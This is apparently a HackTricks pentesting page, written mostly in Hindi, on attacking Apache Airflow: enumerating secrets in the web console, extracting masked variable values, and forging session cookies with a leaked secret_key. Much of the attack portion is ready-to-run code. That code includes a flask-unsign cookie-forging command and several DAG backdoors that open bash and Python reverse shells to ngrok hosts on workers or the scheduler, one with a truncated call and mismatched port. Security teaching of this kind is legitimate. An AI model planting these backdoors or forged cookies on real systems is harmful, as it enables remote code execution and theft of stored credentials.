Apache Airflow Security

Support HackTricks

Basic Information

Apache Airflow डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यवसायिक बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।

बुनियादी रूप से, Apache Airflow आपको कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ (घटना, क्रोन) होगा

Local Lab

Docker-Compose

आप https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml से docker-compose कॉन्फ़िग फ़ाइल का उपयोग कर सकते हैं एक पूर्ण apache airflow docker वातावरण लॉन्च करने के लिए। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)।

Minikube

apache airflow को चलाने का एक आसान तरीका है minikube के साथ इसे चलाना:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow Configuration

Airflow अपनी कॉन्फ़िगरेशन में संवेदनशील जानकारी संग्रहीत कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं:

Airflow RBAC

Airflow पर हमला करने से पहले आपको अनुमतियों का काम कैसे होता है समझना चाहिए:

Attacks

Web Console Enumeration

यदि आपके पास वेब कंसोल तक पहुंच है तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं:

  • Variables (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)

  • Connections (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)

  • उन्हें http://<airflow>/connection/list/ में एक्सेस करें

  • Configuration (संवेदनशील जानकारी जैसे secret_key और पासवर्ड यहां संग्रहीत किए जा सकते हैं)

  • उपयोगकर्ताओं और भूमिकाओं की सूची

  • प्रत्येक DAG का कोड (जिसमें दिलचस्प जानकारी हो सकती है)

Retrieve Variables Values

Variables को Airflow में संग्रहीत किया जा सकता है ताकि DAGs उनके मानों को एक्सेस कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास पर्याप्त अनुमतियाँ हैं तो आप उन्हें GUI में http://<airflow>/variable/list/ में एक्सेस कर सकते हैं। Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, इस के अनुसार, यह संभव है कि वेरिएबल्स की एक सूची सेट की जाए जिनका मान अतिरिक्त चिह्नों के रूप में GUI में दिखाई देगा।

हालांकि, ये मान अभी भी CLI के माध्यम से प्राप्त किए जा सकते हैं (आपको DB एक्सेस की आवश्यकता है), मनमाने DAG निष्पादन, API के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और यहां तक कि GUI स्वयं! GUI से उन मानों तक पहुंचने के लिए बस वेरिएबल्स का चयन करें जिन्हें आप एक्सेस करना चाहते हैं और Actions -> Export पर क्लिक करें। एक और तरीका है छिपे हुए मान पर ब्रूटफोर्स करना, इसे खोज फ़िल्टरिंग का उपयोग करके जब तक आप इसे प्राप्त न कर लें:

Privilege Escalation

यदि expose_config कॉन्फ़िगरेशन True पर सेट है, तो भूमिका उपयोगकर्ता और ऊपर से वेब में कॉन्फ़िग को पढ़ सकते हैं। इस कॉन्फ़िगरेशन में, secret_key प्रकट होता है, जिसका अर्थ है कि इस वैध के साथ कोई भी उपयोगकर्ता अपना स्वयं का हस्ताक्षरित कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG बैकडोर (Airflow कार्यकर्ता में RCE)

यदि आपके पास लिखने की अनुमति है जहाँ DAGs सहेजे जाते हैं, तो आप बस एक बना सकते हैं जो आपको एक रिवर्स शेल भेजेगा। ध्यान दें कि यह रिवर्स शेल एक airflow कार्यकर्ता कंटेनर के अंदर निष्पादित होने वाला है:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG बैकडोर (Airflow शेड्यूलर में RCE)

यदि आप कुछ को कोड की जड़ में निष्पादित करने के लिए सेट करते हैं, तो इस लेखन के क्षण में, इसे शेड्यूलर द्वारा निष्पादित किया जाएगा DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG Creation

यदि आप DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं, तो आप dags/ फ़ोल्डर में नए DAGs स्क्रिप्ट बना सकते हैं और ये DAG क्लस्टर के बाकी मशीनों में दोहराए जाएंगे

DAG Code Injection

जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे आर्गुमेंट्स पास कर सकते हैं। इसलिए, यदि DAG सही तरीके से कोडित नहीं है, तो यह कमांड इंजेक्शन के लिए संवेदनशील हो सकता है। यही इस CVE में हुआ: https://www.exploit-db.com/exploits/49927

आपको DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ जानने की आवश्यकता है, वह यह है कि पैरामीटर्स को कोड dag_run.conf.get("param_name") के साथ एक्सेस किया जाता है

इसके अलावा, वही संवेदनशीलता वेरिएबल्स के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में वेरिएबल्स के मान को नियंत्रित कर सकते हैं)। वेरिएबल्स को इससे एक्सेस किया जाता है:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं।

HackTricks का समर्थन करें

Last updated